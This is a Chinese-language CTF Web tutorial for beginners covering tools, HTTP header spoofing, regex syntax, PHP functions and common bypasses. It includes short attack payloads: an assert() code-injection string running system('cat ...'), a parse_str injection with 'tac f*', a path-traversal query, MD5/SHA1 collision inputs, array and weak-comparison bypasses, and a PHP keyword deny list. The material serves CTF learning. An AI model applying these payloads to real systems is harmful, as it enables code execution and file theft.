Web基础
CTF·Web基础(持续更新,暂定)
README
整合作者:Pure Stream
这里是CTF·Web基础,每个篇章前如果有标了引用或者参考的文章,完全可以去看他们的文章,或者也可以看看我整理过后的正文。侵权立删。
本文适合刚入门的小白想全方位了解CTF·Web,并想参加一些CTF的比赛,也可以用于教学。
PS:我记得刚开始确实是基础的,后面自己也想学就加了一大堆更不基础的进去,但反正就这样叫吧()
一些网站
先知社区 先知社区
各种别人的blog
刷题网站
https://www.polarctf.com/#/page/challenges POLAR靶场
题库 | NSSCTF NSS
BUUCTF在线评测 BUU
攻防世界 攻防世界
登录 春秋云镜(Web渗透)
CTFHub CTFhub
….
常用工具
maurosoria/dirsearch: Web path scanner Dirsearch目录扫描工具
[https://github.com/AntSwordProject/] 蚁剑
Windows版phpstudy下载 - 小皮面板(phpstudy) Phpstudy (用来展示运行php代码的结果)
发布 ·记事本加加/记事本加加 NotePad++
netcat 1.11 for Win32/Win64 netcat
Windows 下载安装 netcat(nc)命令_netcat下载-CSDN博客 教程
brendan-rius/c-jwt-cracker: JWT brute force cracker written in C C-jwt-cracker
2025年最新kali安装教程(超详细,图文并茂)-CSDN博客 kali虚拟机安装
cnseay/Seay源代码审计系统2.1.zip at master · f1tz/cnseay Seay源代码审计,可以审计一点简单的
Releases · yaklang/yakit yakit
TideSec/TscanPlus: 一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。 无影
shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 Fscan
uTools - 一种高效工作方式 里面插件引用有个Shell生成器,个人觉得很不错
(Window)GitHack下载安装和使用【CTF工具/渗透测试/网络安全/信息安全】-CSDN博客 GitHack
….
Docker Desktop
1 | { |
源码查看
基本查看
右键查看 / F12
各个浏览器
Chrome / Edge / Opera/Firefox
• 快捷键:Ctrl+U
HTTP
改浏览器信息+改本地地址+改地址+VPN+POST/GET…..
然后如果要求VPN的话就是用Via
对于XFF的绕过形式:
1 | Client-IP:127.0.0.1 |
[GDOUCTF 2023]EZ WEB | NSSCTF PUT
[MoeCTF 2021]Do you know HTTP | NSSCTF
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of HTTP) Begin Of HTTP
Robots协议
Robots 协议(Robots Exclusion Protocol,简称 REP 或 robots.txt 协议)是一套由网站自行制定、搜索引擎自愿遵守的“君子协定”,用来告诉网络爬虫「哪些网页可以抓、哪些不可以抓」
如果出现在比赛题中:
直接dirsearch扫出来访问,可以看到一些提示或者是Flag
基本都是签到题
正则
regex101: build, test, and debug regex 测试正则的
介绍常见的正则表达式与语法
(以下一切的语法都可以在上面那个链接做演示)
(Python中想要使用正则需要使用re库)
[ABC]
匹配[…]中的所有字符
例如 [aeiou] 匹配字符串 “google runoob taobao” 中所有的 e o u a 字母
然后**[A-Z]**就是匹配A-Z中的所有字母(26个大写字母)
[^ABC]
匹配除了 […] 中字符的所有字符,例如 [^aeiou] 匹配字符串 “google runoob taobao” 中除了 e o u a 字母的所有字符
.
匹配除换行符(\n、\r)之外的任何单个字符,相等于 [^/n/r]
[\s\S]
匹配所有。\s 是匹配所有空白符,包括换行,\S 非空白符,不包括换行
空白符的定义
- 在正则表达式中,空白符是用来匹配空格、制表符、换行符等不可见字符的特殊字符类。它包括以下几种常见的空白字符:
- 空格( ):就是键盘上的空格键所产生的字符,用于分隔单词等
- 制表符(\t):用于在文本中进行水平制表对齐,使文本内容在显示或打印时能够整齐排列
- 换行符(\n):用于表示一行文本的结束,新的一行的开始。在不同的操作系统中,换行符可能有所不同,例如在 Windows 系统中是 \r\n,在 Unix/Linux 系统中是 \n
- 换页符(\f):较少使用,用于将打印机的打印位置移动到下一页的开头
- 垂直制表符(\v):也比较少用,用于垂直方向的制表对齐
非空白符的定义
- 非空白符是指除空白符之外的所有可见字符,也可以包括一些不可见的控制字符,但不包括空白符所包含的字符。在正则表达式中,可以用 \S 来表示非空白符。例如,正则表达式 \S+ 可以匹配一个或多个非空白符
\w
匹配字母、下划线、数字
相当于 [A-Za-z0-9_]
\d
匹配任意一个阿拉伯数字
相当于 [0-9]
/i
忽略大小写,就比如:
1 | preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i') |
这里加了个 /i,那你的Php,PhP这种的都会被当作php处理,就防止你进行大小写绕过
匹配特殊字符 /
你就在 / 后面加你想要过滤的
比如:
1 | /php|flag|zlib|ftp|system |
| 作为分隔符
如果想要过滤特别字符,比如 $, * , ^
就要在前面加转义符号 \
1 | |\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/| |
限定符号
* | 匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于 {0,} ,其实就是匹配所以以这个开头的字符串,比如cat /f* | 尝试一下 » |
---|---|---|
+ | 匹配前面的子表达式一次或多次。例如,zo+ 能匹配 “zo” 以及 “**zoo”**,但不能匹配 “z”。+ 等价于 {1,} | 尝试一下 » |
? | 匹配前面的子表达式零次或一次。例如,do(es)? 可以匹配 “do” 、 **”does”**、 “doxy” 中的 “do” 和 “does”。? 等价于 {0,1},要是知道flag文件长度,你可以直接cat /f???,这就相当于cat /flag,但绕过了对flag的过滤 | 尝试一下 » |
{n} | n 是一个非负整数。匹配确定的 n 次。例如,o{2} 不能匹配 “Bob” 中的 o,但是能匹配 “food” 中的两个 o | 尝试一下 » |
{n,} | n 是一个非负整数。至少匹配n 次。例如,o{2,} 不能匹配 “Bob” 中的 o,但能匹配 “foooood” 中的所有 o。o{1,} 等价于 o+。o{0,} 则等价于 o* | 尝试一下 » |
{n,m} | m 和 n 均为非负整数,其中 n <= m。最少匹配 n 次且最多匹配 m 次。例如,o{1,3} 将匹配 “fooooood” 中的前三个 o。o{0,1} 等价于 **o?**。请注意在逗号和两个数之间不能有空格 |
E.g
1 | /[1-9][0-9]*/ |
[1-9]
:匹配一个1到9之间的数字,即数字不能以0开头[0-9]*
:匹配0个或多个0到9之间的数字
例如:
- 匹配:
1
,12
,999
,1024
- 不匹配:
0
(以零开头),012
(以零开头),abc
(非数字)
如果删去了 *
1 | /[1-9][0-9]/ |
就只能匹配两位数字了
当然 /[0-9]{1,2}/ 也可以匹配两位数字,但是允许01,00,02这种的出现
避免这种情况
改进下,匹配 1~99 的正整数表达式如下:
1 | /[1-9][0-9]?/ |
或
1 | /[1-9][0-9]{0,1}/ |
贪婪匹配和非贪婪匹配
*
和 +
限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个 ? 就可以实现非贪婪或最小匹配
以匹配 HTML 文档为例
1 | <h1>miHoYo</h1> |
贪婪:下面的表达式匹配从开始小于符号 (<) 到关闭 h1 标记的大于符号 (>) 之间的所有内容
1 | /<.*>/ |
会匹配整个 <h1>miHoYo</h1>
非贪婪:如果您只需要匹配开始和结束 h1 标签,下面的非贪婪表达式只匹配 <h1>
1 | /<.*?>/ |
只会匹配到 <h1>
通过在 *、+ 或 ? 限定符之后放置 **?**,该表达式从”贪婪”表达式转换为”非贪婪”表达式或者最小匹配
定位符
定位符使您能够将正则表达式固定到行首或行尾
定位符用来描述字符串或单词的边界,^ 和 $ 分别指字符串的开始与结束,\b 描述单词的前或后边界,\B 表示非单词边界
正则表达式的定位符有:
字符 | 描述 | 实例 |
---|---|---|
^ | 匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与 \n 或 \r 之后的位置匹配 | 尝试一下 » |
$ | 匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与 \n 或 \r 之前的位置匹配 | 尝试一下 » |
\b | 匹配一个单词边界,即字与空格间的位置 | 尝试一下 » |
\B | 非单词边界匹配 | 尝试一下 » |
注意:不能将限定符与定位符一起使用。由于在紧靠换行或者单词边界的前面或后面不能有一个以上位置,因此不允许诸如 ^* 之类的表达式
若要匹配一行文本开始处的文本,请在正则表达式的开始使用 ^ 字符。不要将 ^ 的这种用法与中括号表达式内的用法混淆
若要匹配一行文本的结束处的文本,请在正则表达式的结束处使用 $ 字符
若要在搜索章节标题时使用定位点,下面的正则表达式匹配一个章节标题,该标题只包含两个尾随数字,并且出现在行首:
1 | /^Chapter [1-9][0-9]{0,1}/ |
如果要匹配的是:
1 | Chapter 1 |
那么这段会匹配到:
1 | Chapter 1 |
真正的章节标题不仅出现行的开始处,而且它还是该行中仅有的文本。它既出现在行首又出现在同一行的结尾。下面的表达式能。通过创建只匹配一行文本的开始和结尾的正则表达式,就可做到这一点
1 | /^Chapter [1-9][0-9]{0,1}$/ |
如果匹配:
1 | Chapter 1 |
只会匹配到:
1 | Chapter 1 |
匹配单词边界稍有不同,但向正则表达式添加了很重要的能力。单词边界是单词和空格之间的位置。非单词边界是任何其他位置。下面的表达式匹配单词 Chapter 的开头三个字符,因为这三个字符出现在单词边界后面:
1 | /\bCha/ |
如果你输入:
1 | Chapter 1 |
- 匹配的内容:
Chapter 1
(匹配Cha
,出现在单词边界)Chaotic
(匹配Cha
,出现在单词边界)Cha
(匹配整个单词)
- 不匹配的内容:
AChapter
(Cha
不在单词边界)
\b 字符的位置是非常重要的。如果它位于要匹配的字符串的开始,它在单词的开始处查找匹配项。如果它位于字符串的结尾,它在单词的结尾处查找匹配项。例如,下面的表达式匹配单词 Chapter 中的字符串 ter,因为它出现在单词边界的前面:
1 | /ter\b/ |
如果你输入:
1 | preter |
- 匹配的内容:
preter
(匹配ter
,出现在单词结尾)alter
(匹配ter
,出现在单词结尾)
- 不匹配的内容:
terraform
(ter
不在单词结尾)terrestrial
(ter
不在单词结尾)
下面的表达式匹配 Chapter 中的字符串 apt,但不匹配 aptitude 中的字符串 apt:
1 | /\Bapt/ |
如果你输入:
1 | Chapter |
- 匹配的内容:
Chapter
(匹配apt
,因为出现在非单词边界)
- 不匹配的内容:
aptitude
(不匹配apt
,出现在单词边界)Apt
(匹配Apt
中的Apt
,但\B
确保apt
出现在非单词边界,但在这个例子中Apt
是一个独立的单词,所以不匹配)
字符串 apt 出现在单词 Chapter 中的非单词边界处,但出现在单词 aptitude 中的单词边界处。对于 \B 非单词边界运算符,不可以匹配单词的开头或结尾,如果是下面的表达式,就不匹配 Chapter 中的 Cha:
1 | \BCha |
同上原理,不作演示
选择
用圆括号 () 将所有选择项括起来,相邻的选择项之间用 | 分隔
() 表示捕获分组,**()** 会把每个分组里的匹配的值保存起来, 多个匹配值可以通过数字 n 来查看(n 是一个数字,表示第 n 个捕获组的内容)
比如你输入: /([1-9])([a-z]+)/g
1 | 123mihoyo114514zzz22 |
可以看到匹配到了两个,这个正则意思是第一位是数字然后后面匹配1或多个小写字母
但用圆括号会有一个副作用,使相关的匹配会被缓存,此时可用 ?: 放在第一个选项前来消除这种副作用
其中 ?: 是非捕获元之一,还有两个非捕获元是 ?= 和 ?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串
exp1(?=exp2)
查找exp2前面的exp1
还是沿用刚刚的例子,我们把正则语句改成 /mihoyo(?=\d)/ 也就是匹配一个数字前面的mihoyo
可以看到:
(?<=exp2)exp1
查找 exp2 后面的 exp1
跟上面差不多,就是换了位置
exp1(?!exp2)
查找后面不是 exp2 的 exp1
我们把正则改成 /mihoyo(?![0-9]+)/
沿用刚刚的例子,发现:
匹配失败,而当我们在mihoyo后面加个非数字比如 -
,那么就匹配得到了:
(?<!exp2)exp1
查找前面不是 exp2 的 exp1
也是和上面一样,但是换了个位置
反向引用
- 定义与语法 :反向引用使用特殊字符来表示对前面某个分组的引用,通常用
\
后跟数字来表示。例如,\1
表示对第一个捕获组的反向引用,\2
表示对第二个捕获组的反向引用,依此类推 - 作用与应用场景
- 匹配相同内容 :当需要匹配与前面某个特定模式相同的内容时,反向引用非常有用。例如,在验证某些格式的字符串时,如检查一个字符串是否为形如
abc-abc
这种前后部分相同的格式,可以使用反向引用。正则表达式可以写成^(\w+)-\1$
,其中(\w+)
是一个捕获组,匹配前面的单词字符部分,后面的\1
则表示匹配与第一个捕获组相同的内容 - 替换操作 :在使用正则表达式进行字符串替换时,反向引用可以将捕获到的子表达式重新插入到替换后的字符串中。例如,将字符串中的日期格式从
yyyy-mm-dd
转换为dd-mm-yyyy
,可以使用正则表达式(\d{4})-(\d{2})-(\d{2})
进行匹配和捕获,然后在替换字符串中使用反向引用,如 $3-$2-$1 - (在某些语言中,反向引用的表示方式可能不同,例如在 JavaScript 中使用 $1、$2 等,在 Python 中使用 \g<1>、\g<2> 等)
- 匹配相同内容 :当需要匹配与前面某个特定模式相同的内容时,反向引用非常有用。例如,在验证某些格式的字符串时,如检查一个字符串是否为形如
E.g1
我现在有一段句子,里面包含多个重复的单词
1 | hello hello world world this is is a test test |
我们可以用:
1 | (\b\w+\b)\s+\1 |
来匹配,这里的\b\b就是取边界(边界也是一样的字符,遇到不一样的就不配),然后中间都是相同的字段
\s+
负责匹配一个或多个空白符,\1
就代表示匹配与第一个捕获组相同的内容,比如在这个例子中,第一个捕获组捕捉到的是 hello
,\1
就匹配后面也是hello
的字符串,以此类推它可以捕获全部相同的字段
E.g2
我们来匹配个URL,比如
1 | https://www.example.com:8080/path/to/resource |
我们用:
1 | /(\w+):\/\/([^\:]+)(:\d*)?([^# ]*)/ |
1. (\w+)
- 含义: 匹配一个或多个字母、数字或下划线
- 作用: 用于匹配 URL 的协议部分,例如
http
或https
2. :\/\/
- 含义: 匹配字面的
://
- 作用: 分隔协议部分和域名部分
3. ([^/:]+)
- 含义: 匹配一个或多个不是
/
或:
的字符 - 作用: 用于匹配域名部分,例如
www.example.com
4. (:\d*)?
- 含义:
:
: 匹配字面的:
\d*
: 匹配零个或多个数字?
: 表示整个部分是可选的。
- 作用: 用于匹配端口号部分,例如
:8080
,但这个部分是可选的
5. ([^# ]*)
- 含义: 匹配零个或多个不是
#
或空格的字符 - 作用: 用于匹配 URL 的路径部分,例如
/path/to/resource
用Python你可以这样:
1 | import re |
EasyPHP
PHP函数
(列一些遇到的和基本的)
preg_match()
用于执行正则表达式匹配
1 | preg_match($pattern, $subject) |
$pattern是正则表达式,$subject是要匹配的字符串
include()
包含文件,将指定文件的内容嵌入到当前脚本中
shell_exec
执行里面的语句
parse_str()
parse_str()
函数直接将查询参数解析到当前作用域变量中
1 | @parse_str($id); // 未使用第二个参数导致变量覆盖 |
1 |
|
id=a[]=www.polarctf.com&cmd=;tac f*
is_numeric
1 | bool is_numeric ( mixed $var ) |
如果变量是数值或数值字符串,则返回 true
,否则返回 false
strrev
strrev
是 PHP 中用于反转字符串的函数。
1 |
|
mb_strpos
1 | mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) |
$haystack
:- 必需。要在其中搜索的字符串(主字符串)。
$needle
:- 必需。要查找的字符或子字符串。
$offset
:- 可选。指定从哪个位置开始搜索。默认值为
0
(从字符串开头开始搜索)。
- 可选。指定从哪个位置开始搜索。默认值为
$encoding
:- 可选。指定字符编码。如果未指定,默认使用
mb_internal_encoding()
函数返回的内部编码。
- 可选。指定字符编码。如果未指定,默认使用
- 返回
$needle
在$haystack
中首次出现的位置(从 0 开始计数)。 - 如果未找到
$needle
,返回false
。
示例代码
1 | // 查找单个字符的位置 |
?file=source.php%3f../../../../../ffffllllaaaagggg
mb_substr
1 | mb_substr ( string $string , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) |
$string
:- 必需。原始字符串。
$start
:- 必需。指定从哪个位置开始截取。如果为正数,从字符串开头向后数
$start
个字符的位置开始;如果为负数,从字符串末尾向前数$start
个字符的位置开始。
- 必需。指定从哪个位置开始截取。如果为正数,从字符串开头向后数
$length
:- 可选。指定截取的长度。如果为正数,从
$start
位置开始向前数$length
个字符;如果为负数,从$start
位置开始到字符串末尾向前数$length
个字符的位置;如果省略,则截取从$start
到字符串末尾的所有字符。
- 可选。指定截取的长度。如果为正数,从
$encoding
:- 可选。指定字符编码。如果未指定,默认使用
mb_internal_encoding()
函数返回的内部编码。
- 可选。指定字符编码。如果未指定,默认使用
- 返回从
$start
开始,长度为$length
的子字符串。
1 | // 从第7个字符开始截取,长度为2 |
putenv
putenv
函数:putenv
是 PHP 中的一个函数,用于设置环境变量。- 语法:
bool putenv ( string $setting )
- 参数
$setting
是一个字符串,格式为"变量名=值"
。
PATH=/home/rceservice/jail
:- 这是设置
PATH
环境变量的值为/home/rceservice/jail
。 PATH
环境变量用于指定系统在查找可执行文件时搜索的目录路径。
- 这是设置
假设有一个 PHP 脚本需要执行外部命令 ls
,并且 PATH
被设置为 /home/rceservice/jail
:
1 | putenv('PATH=/home/rceservice/jail'); |
- 系统会在
/home/rceservice/jail
目录下查找ls
命令。 - 如果
/home/rceservice/jail/ls
存在,就会执行该文件;否则,会报错。
pahinfo()
将传入的路径“字典化”
var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123’));
1 | array(3) { |
var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123.txt’));
1 | array(4) { |
file_put_contents()
将结果放进文件中
addslashes()
addslashes
是PHP中的一个字符串处理函数,用于在字符串中的某些特定字符前添加反斜杠(\
),以确保这些字符在后续的处理过程中不会引起语法错误或安全问题。这些特定字符包括单引号('
)、双引号("
)、反斜杠(\
)和NULL字节。
功能说明
- 作用:在字符串中的单引号(
'
)、双引号("
)、反斜杠(\
)和NULL字节前添加反斜杠。 - 目的:防止这些字符在SQL查询、字符串拼接等操作中引起语法错误或安全问题(如SQL注入)。
- 返回值:返回处理后的字符串。
使用示例
1 |
|
extract()
用于从数组中提取元素并将它们导入到当前的符号表中,即将数组的键名作为变量名,键值作为变量值。
很可能会覆盖变量!!!
1 |
|
当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失
assert()
- 基本概念
assert()
函数是 PHP 中用于断言的内置函数。断言是一种编程概念,它允许程序员在程序代码中放置检查点,以验证程序的状态是否符合预期。在 PHP 中,这个函数默认是启用的,它可以帮助开发者在开发和调试过程中快速发现程序中的逻辑错误。assert()
函数会将读入的代码当作php执行
E.g
1 | if (isset($_GET['page'])) { |
先将strpos闭合,然后将后面的语句'..')===false") or die ("Detected hacking attempt!")
注释掉
然后构造payload:?page='.phpinfo();//
').system("cat templates/flag.php");//
变为:
1 | assert("strpos('templates/').system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");) |
只留下:
1 | assert("strpos('templates/').system("cat templates/flag.php"); |
uniqid()
uniqid()
是 PHP 中的一个函数,用于生成一个唯一的 ID,通常用于创建唯一的标识符,例如文件名、临时标识符等。它基于当前时间戳生成,具有较高的唯一性,但并不是绝对的全球唯一。
1 |
|
date()
[CISCN 2023 华北]ez_date | NSSCTF
PHP 中的 date()
函数是一个非常重要的日期和时间处理函数,它能够格式化一个时间戳为更易读的日期和时间形式
常用格式化参数
d
:表示一个月中的第几天,两位数字,如果是一天则前面补零,如01
到31
。m
:表示一年中的第几个月,两位数字,如01
到12
。Y
:四位数字完整表示年份,如2023
。H
:表示小时,24 小时制,两位数字,如00
到23
。i
:表示分,两位数字,如00
到59
。s
:表示秒,两位数字,如00
到59
。a
:表示 AM 或 PM(上午或下午)。l
:(小写的 L):完整的星期几的文本名称,如Monday
。M
:三个字母缩写的月份名称,如Jan
。g
:用于获取小时部分,范围是从 1 到 12。
1 |
|
@stream_context_create()
stream_context_create
是 PHP 中用于创建一个流(stream)上下文的函数。流上下文是为文件流(比如网络请求)配置选项的一个集合,它可以让开发者对流的行为进行自定义,比如设置请求头、超时时间、用户认证等。
语法
resource stream_context_create ( array $options [, array $params ] )
- 参数
options
是一个关联数组,用于指定不同协议(如 HTTP、FTP 等)的上下文选项,默认值为 NULL。例如,对于 HTTP 请求,可以设置header
选项来添加请求头信息。 - 参数
params
是一个关联数组,用于指定上下文的参数,如通知回调函数等,默认值为 NULL。
使用示例
- 创建一个 HTTP 请求上下文,设置用户代理和请求头:
1 | $options = [ |
- 在这个例子中,
stream_context_create
创建了一个用于 HTTP 协议的上下文,设置了请求方法为GET
、添加了用户代理头,并设置了超时时间为 30 秒。然后使用file_get_contents
函数和这个上下文来获取网页的内容。
strcmp()
strcmp
是一个用于比较两个字符串的函数。
- 函数原型
int strcmp ( string $str1 , string $str2 )
- 参数
$str1
:第一个要比较的字符串。$str2
:第二个要比较的字符串。
- 返回值
- 如果返回值小于 0,表示
$str1
小于$str2
。 - 如果返回值等于 0,表示
$str1
和$str2
相等。 - 如果返回值大于 0,表示
$str1
大于$str2
- 如果返回值小于 0,表示
extract()
extract()
是 PHP 中一个用于从数组中将变量导入到当前符号表的函数。它主要用来方便地将数组中的键值对转换为单独的变量。下面详细介绍其使用方法、参数以及注意事项:
函数定义
1 | int extract ( array $array [, int $extract_type = EXTR_OVERWRITE [, string $prefix ]] ) |
参数详解
$array
:必需。要从其中提取变量的数组。$extract_type
:可选。用于指定冲突时的处理方式,默认值为EXTR_OVERWRITE
。常见的可选值有:EXTR_OVERWRITE
:如果有冲突,覆盖已存在的变量。EXTR_SKIP
:如果有冲突,不覆盖已存在的变量。EXTR_PREFIX_SAME
:如果有冲突,则给变量添加前缀。EXTR_PREFIX_ALL
:给所有变量添加前缀。EXTR_PREFIX_INVALID
:仅给无效的或数字的变量名添加前缀。
$prefix
:可选。如果指定了前缀类型,需要提供一个前缀。前缀用于区分变量名,避免冲突。
返回值
该函数返回成功提取的变量数目。
使用示例
1 | $data = ['name' => 'Alice', 'age' => 30]; |
注意事项
- 变量覆盖风险 :使用
extract()
时需要特别小心,因为它可能导致变量覆盖问题。如果从外部输入(如用户输入)构造的数组中提取变量,可能会无意中覆盖重要的变量,从而引发意外行为或安全漏洞。
1 | <?php |
getallheaders()
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!)
使用 getallheaders()
获取当前请求的所有 HTTP 标头,并返回一个数组
pos()
pos()
函数是 PHP 中的一个内置函数,用于返回数组中当前元素的值。它是 current()
函数的别名,二者功能完全相同
参数
$array
:必需,指定要操作的数组。
返回值
返回数组中当前指针所指向的元素的值。如果指针超出了数组的范围,则返回 false
。
使用示例
1 |
|
array_reverse()
这个函数用于反转数组的顺序。它接收一个数组作为参数,并返回一个新的数组,其元素顺序与原数组相反
可以结合pos()和eval()使用,比如
1 | Host: example.com |
getallheaders()
返回的数组是:1
2
3
4
5
6[
'Host' => 'example.com',
'User-Agent' => 'Mozilla/5.0',
'Accept' => 'text/html',
'X-Custom-Header' => '<?php phpinfo(); ?>'
]array_reverse()
反转后的数组是:1
2
3
4
5
6[
'X-Custom-Header' => '<?php phpinfo(); ?>',
'Accept' => 'text/html',
'User-Agent' => 'Mozilla/5.0',
'Host' => 'example.com'
]pos()
获取反转后数组的第一个元素,即'<?php phpinfo(); ?>'
。eval()
尝试执行这个字符串作为 PHP 代码。如果字符串是有效的 PHP 代码,它会被执行。
highlight_file()
highlight_file
用于将一个文件的内容作为HTML语法高亮显示。它会显示文件的源代码,其中每个元素使用HTML标记进行语法高亮
比较
CTF-WEB:PHP 弱类型 - 乌漆WhiteMoon - 博客园
php中有两种比较
1 | a == b |
两个等于在比较的时候,会将字符串类型转化成相同的再比较
比如:
1 | a = 123 |
这两个其实是相等的,这在绕过检测中是非常重要的
比如让判断 a == 123,但又规定a不允许为数字,就可以利用弱比较来绕过
还有一些:
1 |
|
对于数字这一块,如果要求 a > 10000,但是又要求a不能超过四位数,就可以用科学计数法来绕过
比如给个 a = 1e6就可以了
例题:
1 | $num=$_GET['num']; |
直接传 num = 1abc 即可
MD5弱比较
MD5 信息摘要算法是一种被广泛使用的密码散列函数,可以产生出一个 128 位(16字节)的散列值用于确保信息传输完整一致。而 PHP 在处理哈希字符串时,“0e” 开头的值利用 “==” 判断相等时会被视为 0。所以如果两个不同的密码经过哈希以后,其哈希值都是以 ”0E” 开头的,那么 PHP 将会认为他们相同,这就是所谓的 MD5 碰撞漏洞
因为当hash开头为0e后全为数字的话,进行比较时就会将其当做科学计数法来计算,用计算出的结果来进行比较
1 | md5($str1)=0e420233178946742799316739797882 |
这里给出以下两段字符串,用于绕过MD5的弱比较,
常见形式:md5($a) == md5($b) && $a !== $b
1 | s878926199a |
MD5强碰撞
遇到 md5($_GET[‘username’]) === md5($_GET[‘password’])
你让
1 | a[] = 1 |
因为hash解析不了数组,会直接返回NULL,这样两边都是NULL,也是能返回true的
string转换后的md5强比较
1 | <?php |
array1[]=1&array2[]=2本来觉得数组绕过就可以可是,发现输出了????
原因是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去
所以我们需要一个,md5前不相等,而md5后全等的
1 | array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 |
SHA1强碰撞
1 | array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 |
直接上这个就可以,记得改一下变量名字
要求MD5和SHA1分别相等
1 | a = 1 |
Error类
1 | $c->a=new Error("a",1);$c->b=new Error("a",2) |
[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2020]Greatphp)
URL二次编码绕过
题目的源码如下,首先题目需要输入变量 id,且变量 id 不能包含字符串 “hackerDJ”。接着使用 urldecode() 函数进行 url 解码,需要令解码后的字符串等于 “hackerDJ”
1 | Copy Highlighter-hljs |
在 URL 编辑框中可以使用 URL-encode 来替代字符,例如 “h” 的 URL 编码是 “%68”,此时输入 “%68ackerDJ” 等同于输入 “hackerDJ”。由于源码会使用 urldecode() 函数进行 url 解码,因此可以对 “%68ackerDJ” 进行 url 编码,让传入的字符串通过第一个条件语句,在解码之后通过第二个分支语句。所以提交的 payload 应该是 “%68ackerDJ” 的 URL 编码
1 | ?id = %2568ackerDJ |
数组绕过正则匹配
PHP中正则函数(如preg_match()
)会将数组参数转换为字符串“Array”,这使得数组可绕过正则匹配
1 |
|
构造payload:
1 | ?input[]=test |
preg_match()
将其转为字符串“Array”,从而绕过正则检测
extract覆盖漏洞
extract()
函数用于将数组元素导入当前符号表,若数组由外部输入控制,可能导致变量覆盖
原因: extract()
未对输入数组进行充分过滤,攻击者可构造恶意数组覆盖现有变量
应用:在代码中使用extract()
处理外部可控数组时,攻击者可覆盖关键变量,改变程序逻辑
示例代码:
1 |
|
构造payload:
1 | ?data[]=a&data[]=hacked |
这样,extract()
将data
数组元素导入符号表,覆盖了变量$a
,使其变为“hacked”
数组绕过strcmp比较
strcmp()
函数比较两个字符串,若参数类型不同会进行类型转换,数组转为NULL,比较时NULL与空字符串视为相等
1 |
|
构造payload:
1 | ?input[]=secret |
$_GET['input']
是数组,strcmp()
将其转为NULL,与空字符串比较返回0,导致验证被绕过
PHP伪协议
data伪协议
data://[<MIME-type>][;charset=][;base64],<data>
